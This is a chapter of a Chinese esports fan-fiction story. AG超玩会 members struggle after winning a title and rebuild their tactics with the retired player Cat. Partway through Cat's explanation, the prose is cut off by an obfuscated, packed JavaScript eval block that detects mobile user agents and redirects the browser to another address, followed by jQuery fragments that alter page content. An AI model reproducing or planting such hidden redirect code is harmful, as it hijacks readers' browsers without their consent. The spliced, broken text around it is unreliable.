2022年7月，成都AG超玩会基地
蝉鸣在正午时分达到顶峰，像某种持续不断的耳鸣。训练室里空调开得很足，但徐必成还是觉得闷——不是热的，是那种被无数目光注视下的、无处遁形的闷。
夺冠已经过去一个月了，但热度丝毫没有减退。相反，像滚雪球一样越滚越大。
手机在桌面上震动，屏幕亮着微信界面。最新一条是俱乐部商务经理发来的：“一诺，下午三点有个代言拍摄，四点有个杂志专访，晚上七点直播平台年度盛典邀约，你确认一下时间。”
徐必成盯着那行字，手指悬在屏幕上方，很久没动。
夺冠后的这一个月，他每天的日程被切割成无数碎片：商业活动、媒体采访、粉丝见面会、品牌代言、直播合同……训练时间被压缩到只剩原来的一半，甚至三分之一。
“诺哥，还不走？”钟意探过头来，“下午不是有拍摄吗？”
“马上。”徐必成关掉手机，站起来活动了一下肩膀。手腕上的疤痕在空调冷风中有些发痒，像在提醒他什么。
走廊里贴满了夺冠的海报。五个人举着银龙杯，笑得灿烂。海报下方印着一行字：“五核时代，由此开启。”
但徐必成知道，开启一个时代，和守住一个时代，是两回事。
---
同一时间，上海医学院图书馆。
林晓晓盯着笔记本电脑上的论文草稿，标题是《电子竞技冠军战队商业价值转化研究——以AG超玩会为例》。这是她的暑期研究课题，导师很重视，说这是国内电竞产业研究的前沿方向。
但她写得很艰难。
因为数据太刺眼了。
夺冠后一个月，AG俱乐部的商业合作增加了237%，选手个人代言平均增长180%，直播平台签约费翻了三倍。而训练时长呢？下降了41%。
她打开微博，AG超玩会官方号最新一条是品牌代言宣传片。视频里，五个少年穿着精致的西装，在摄影棚里摆着造型，笑容标准得像流水线生产出来的。
评论已经三万条：
“AG冠军实至名归！”
“一诺好帅！”
“商业活动太多了吧，还训练吗？”
最后这条评论被顶到了热评第三，下面吵成一团：
“冠军还不能接代言了？”
“接代言可以，但别耽误训练啊”
“你行你上”
林晓晓关掉微博，打开加密文件夹。里面是她整理的AG夺冠后训练赛数据——胜率从夺冠前的78%下降到52%，配合失误率上升了35%，英雄池扩展进度停滞。
危险信号。
但没人注意。或者说，没人想注意。
冠军的光环太耀眼了，耀眼到足以掩盖所有问题。
手机震动，是陈薇发来的微信：“晓晓，看了AG昨晚的训练赛吗？输给TTG二队了。”
林晓晓心里一沉：“没看，数据怎么样？”
“很烂。一诺的狄仁杰0-5-2，输出占比17%。长生不知火舞进场时机全错。钟意野区被反烂。轩染和马超完全脱节。大帅指挥混乱。”
一连串的“烂”字，像冰锥一样扎进心里。
“版本更新了。”陈薇又发来一条，“新版本对中单和打野大削，边路和辅助增强。AG的五核体系，可能要重新调整了。”
林晓晓盯着屏幕，手指冰凉。
冠军魔咒。
这个词像幽灵一样在电竞圈游荡。拿冠军，接代言，商业活动，训练荒废，版本变更，状态下滑，成绩下降——这个循环，几乎所有冠军战队都逃不过。
现在，轮到AG了。
---
下午三点，成都某摄影棚。
徐必成站在聚光灯下，按照摄影师的指令调整姿势。闪光灯一次次亮起，刺得眼睛发酸。
“一诺，笑一下，自然点。”摄影师说。
徐必成扯了扯嘴角，肌肉僵硬。他想起训练室里那个不需要笑的自己——只需要盯着屏幕，专注操作，和队友沟通。
那才是真实的他。
拍摄间隙，他打开手机，看到长生发来的消息：“诺哥，下午训练赛，我们被TTG二队零封了。”
手指收紧。
“什么阵容？”他打字问。
“我不知火舞，钟意镜，轩染马超，大帅张飞，云黎公孙离。”
云黎。二队射手，在他参加商业活动时顶替他的位置。
“输在哪？”
“全队。”长生回复，“版本更新后，中单和打野被削得太狠了。我不知火舞一套连招秒不掉人了，钟意镜进场就被控死。边路和辅助虽然增强了，但我们的战术体系还是围绕中野打，完全脱节。”
徐必成盯着那段话，很久。
“等我回来。”他最后回复，“晚上加练。”
拍摄持续到晚上六点。结束后，商务经理又递过来一份合同：“一诺，这是直播平台的新合约，三年，八位数。你看看，没问题就签了。”
徐必成接过合同，厚厚一叠，像一块砖。他翻到薪资条款，数字确实诱人——足够他在成都买套不错的房子，足够父母提前退休，足够他未来十年衣食无忧。
但他想起Cat退役前说的话：“钱很重要，但有些东西比钱更重要。比如冠军，比如梦想，比如那个在赛场上拼尽全力的自己。”
“我能带回去看吗？”他问。
“可以，但最晚明天给答复。”商务经理说，“平台那边催得紧。”
回到基地已经晚上七点半。训练室里灯火通明，其他四人都在。电脑屏幕上显示着训练赛的复盘录像，但没人说话，气氛凝重得像要下雨。
“我回来了。”徐必成说。
四个人同时抬头。钟意的眼睛红着，长生脸色苍白，轩染咬着嘴唇，大帅低着头。
“输得很惨？”徐必成走过去。
“不是惨。”长生说，“是绝望。新版本我们的体系完全玩不了了。中单和打野废了，边路和辅助虽然强，但我们不会玩。”
徐必成拉开椅子坐下，打开电脑，调出今天的训练赛录像。
第一局，长生不知火舞进场秒不掉人，反被集火秒杀。钟意镜被控到死，毫无作用。轩染马超虽然操作拉满，但独木难支。
0:1。
第二局，AG尝试调整，拿出边核体系，围绕轩染打。但配合生疏，支援脱节，再次落败。
0:2。
第三局，心态崩了，操作变形，被碾压。
0:3。
徐必成一局一局看，一帧一帧暂停。越看，心越沉。
不是技术问题，不是意识问题，是版本问题，是体系问题，是——他们引以为傲的五核体系，被版本一刀砍废了。
“教练怎么说？”他问。
“教练在开会。”大帅说，“版本更新太突然了，所有战队都在重新研究战术。但我们……我们刚夺冠，商业活动太多，训练时间太少，已经落后了。”
训练室里一片沉默，只有空调运转的嗡嗡声。
窗外，成都的夜色温柔，霓虹闪烁。这座城市的某个角落里，其他战队的训练室也亮着灯，那些没有夺冠的队伍，那些渴望复仇的队伍，正在拼命研究新版本，拼命训练。
而他们呢？
在摄影棚里摆造型，在直播间里和粉丝互动，在签约仪式上微笑。
徐必成站起来，走到白板前，拿起马克笔。
“从现在开始，所有商业活动暂停。”他说，“我会去和俱乐部说。接下来的一个月，我们只做一件事——研究新版本，重建新体系。”
“可是合同……”钟意小声说。
“违约金我来付。”徐必成说得很平静，“冠军是我们拿的，责任我来扛。”
四个少年看着他，眼神从迷茫慢慢变得坚定。
---
深夜十一点，俱乐部总经理办公室。
菲菲看着徐必成递过来的申请，眉头紧锁。
“一诺，你知道暂停所有商业活动意味着什么吗？”
“知道。”徐必成说，“意味着俱乐部损失几千万收入，意味着我会赔很多违约金，意味着我们会得罪很多合作方。”
“那你为什么还要这么做？”
“因为。”徐必成看着窗外，“如果我们继续这样下去，下一个赛季，我们会输得很惨。到时候，失去的就不只是几千万，是AG的荣耀，是我们的职业生涯，是所有粉丝的信任。”
菲菲沉默了很久，最后叹了口气：“你说得对。但俱乐部有俱乐部的压力，股东有股东的要求……”
“菲姐。”徐必成打断她，“你还记得2018年AG降级的时候吗？那时候AG什么都没有了，没有赞助，没有粉丝，没有希望。是你带着我们一点一点打回来的。那时候我们在乎的是钱吗？不是，是赢，是回来，是证明AG没有死。”
他顿了顿：“现在，AG又到了一个关键节点。冠军拿到了，钱赚到了，名气有了。但我们忘了，这一切的基础是什么？是赢比赛。如果我们输比赛了，这一切都会消失。”
菲菲盯着他，眼眶有些红。
“好。”她最终点头，“商业活动暂停一个月。但一个月后，如果你们的新体系还没建起来……”
“那就继续暂停。”徐必成说，“直到建起来为止。”
离开办公室，徐必成收到Cat的消息：“听说你暂停了所有商业活动？”
“嗯。版本变了，我们需要时间。”
“明智的选择。”Cat说，“但你要做好准备，接下来你会面临很大的压力。股东，赞助商，甚至一部分粉丝，都会不理解你。”
“我知道。”
“还有一件事。”Cat顿了顿，“新版本我研究了，对你们确实不友好。但也不是没有出路。”
“什么出路？”
“彻底转型。”Cat说，“不是小修小补，是彻底重建战术体系。放弃中野核心，建立边辅核心。让轩染和大帅成为战术支点，你和长生当工具人，钟意当蓝领野。”
徐必成盯着那段话，脑海里快速思考。
边辅核心？
轩染的边路确实很强，大帅的指挥和开团也很出色。如果围绕他们建队，确实能适应新版本。
但这就意味着，他和长生要彻底放弃carry位，成为纯粹的团队贡献者。
“我和长生聊过了，他没问题。”Cat似乎猜到了他的想法，“现在就看你了。你能不能接受，从团队的carry核心，变成团队的牺牲品？”
徐必成笑了。
“Cat哥，你忘了，这个赛季我一直是工具人射手。对我来说，carry还是牺牲不重要，赢才重要。”
“好。”Cat说，“那接下来一个月，我会帮你们研究战术。免费的。”
“为什么？”
“因为。”Cat发了个笑脸，“我想看看，你们能走到哪一步。”
---
接下来的一个月，AG基地变成了封闭的军事禁区。
所有商业活动暂停，所有媒体采访拒绝，所有社交账号停更。训练室里的灯从早上六点亮到凌晨两点，外卖盒堆成小山，咖啡消耗量是平时的三倍。
徐必成把Cat请到了基地。这个已经退役的传奇选手，穿着便服，坐在战术分析室里，和教练组一起研究新版本。
“新版本的关键在边路和辅助。”Cat在白板上画着，“对抗路英雄全面增强，尤其是那些带线能力强、单挑能力强的战边。辅助装备加强，开团型辅助成为版本答案。”
他指着轩染和大帅的照片：“你们有联盟最顶级的边路和辅助，这是优势。但问题在于，你们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028855|194480||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的战术习惯还是围绕中野打。要改变这一点，需要彻底重塑思维。”
“怎么重塑？”Awoke问。
“从训练赛开始。”Cat说，“接下来所有的训练赛，制定三条铁律：第一，所有资源优先给边路；第二，所有团战围绕辅助的开团打；第三，中野射只做两件事——清线和跟团。”
听起来很简单，但执行起来极其困难。
第一天训练赛，AG输得更惨。
因为习惯改不过来。长生还是会下意识地想carry，钟意还是会习惯性地入侵野区，徐必成还是会不自觉地想打输出。而轩染和大帅，突然被推到核心位置，反而不会打了。
“停。”Cat叫停训练赛，“复盘。”
五个人围在屏幕前，Cat一帧一帧地分析。
“这里，长生，你为什么要去抓边？你的任务是清完线跟团，不是带节奏。”
“这里，钟意，你为什么要反野？你的任务是保住自家野区，给边路让经济。”
“这里，一诺，你为什么要输出？你的任务是吸引火力，给边路创造进场空间。”
句句诛心。
但没人反驳，因为Cat说得对。
“记住，你们不是五核了。”Cat看着他们，“你们是双核带三工具人。轩染和大帅是核心，你们三个是工具人。工具人要做的，不是carry，是服务核心。”
第二天，第三天，第四天……
每一天都在输，每一天都在被骂，每一天都在怀疑自己。
但每一天，都在进步。
第七天，他们赢下了第一场训练赛。
虽然赢得很艰难，虽然数据很难看，虽然carry的是轩染和大帅——但赢了。
“看到了吗？”Cat在复盘时说，“这就是新体系。虽然丑陋，虽然不华丽，但能赢。”
徐必成盯着屏幕上的数据面板。他的狄仁杰：输出占比15.2%，承伤28.7%，参团率70%——比之前更工具了。
但他笑了。
因为赢了。
---
两周后，AG对阵武汉eStarPro的训练赛。
这是封闭训练后的第一次对外训练赛，对手是Cat的老东家，也是这个赛季的夺冠热门。
赛前，Estar的教练在微信上调侃Cat：“老猫，听说你在帮AG研究新战术？泄密啊这是。”
Cat回复：“放心，不会用你们Estar的战术。AG的新战术，你们绝对没见过。”
比赛开始。
AG拿出了让所有人都看不懂的阵容：轩染关羽，大帅鬼谷子，长生张良，钟意阿古朵，徐必成狄仁杰。
极致的边辅核心阵容。
Estar显然没看懂，BP有些混乱。游戏开始后，AG的战术执行让Estar更懵——关羽和鬼谷子无处不在，张良和阿古朵形影不离，狄仁杰在塔下稳健补刀。
八分钟，关羽单带掉上路二塔。鬼谷子闪现开团，拉到三人。张良大招按住，阿古朵跟上控制，狄仁杰在后排输出。
完美团战。
十二分钟，经济领先三千。
十五分钟，风暴龙王团，Estar想要绝命一波，但关羽绕后进场，一刀劈中三人。鬼谷子二次开团，拉到双C。
团灭。
一波。
AG赢了。
训练赛结束后，Estar的教练给Cat发消息：“你们这什么鬼战术？边路当核打？”
Cat回复：“版本答案。建议你们也研究研究。”
---
封闭训练的最后一天，晚上十点。
训练室里，五个人围在一起，看这一个月所有训练赛的复盘总结。
胜率：从52%上升到78%。
配合失误率：从35%下降到12%。
英雄池扩展：轩染新增三个战边英雄熟练度，大帅新增两个开团辅助熟练度，长生和钟意新增四个工具人英雄熟练度，徐必成新增三个抗压射手熟练度。
“进步很大。”Cat说，“但还不够。训练赛赢，不代表正式比赛能赢。正式比赛的压力，是训练赛的十倍。”
他顿了顿：“而且，你们的新战术已经被其他战队知道了。接下来，他们会研究你们，针对你们。你们要做好准备。”
“我们准备好了。”徐必成说。
“真的准备好了？”Cat看着他们，“准备好被研究，准备好被针对，准备好输比赛，准备好被骂？”
五个人对视一眼，然后同时点头。
“好。”Cat站起来，“那我的任务完成了。接下来，看你们的了。”
他走到门口，又回头：“记住，冠军魔咒不是诅咒，是考验。能通过考验的，才是真正的冠军。”
门关上了。
训练室里，五个少年沉默了一会儿。
然后徐必成说：“明天，夏季赛开赛。我们的第一个对手，是重庆狼队。”
“狼队……”长生推了推眼镜，“他们这个赛季补强了边路和辅助，正好克制我们的新体系。”
“所以第一场就是硬仗。”徐必成说，“赢，证明我们的转型成功。输，证明我们还需要继续努力。”
“那商业活动……”钟意小声问。
“继续暂停。”徐必成说，“直到我们重新证明自己。”
窗外，成都的夜色深沉。
但训练室里，灯火通明。
五个少年，为了守住冠军的荣耀，为了证明自己的价值，为了不辜负所有人的期待——
继续战斗。
冠军之后，不是终点。
是新的起点。
是更艰难的路。
是涅槃之后，真正的考验。
他们，准备好了。
【第十七章·完】